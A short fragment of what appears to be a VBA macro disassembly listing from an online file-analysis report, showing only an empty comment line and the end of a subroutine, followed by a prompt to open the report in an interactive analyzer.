' 	QuoteRem 0x0000 0x0000 ""
' Line #5:
' Line #6:
' 	EndSub

Open this report in the interactive analyzer, or submit your own file for analysis.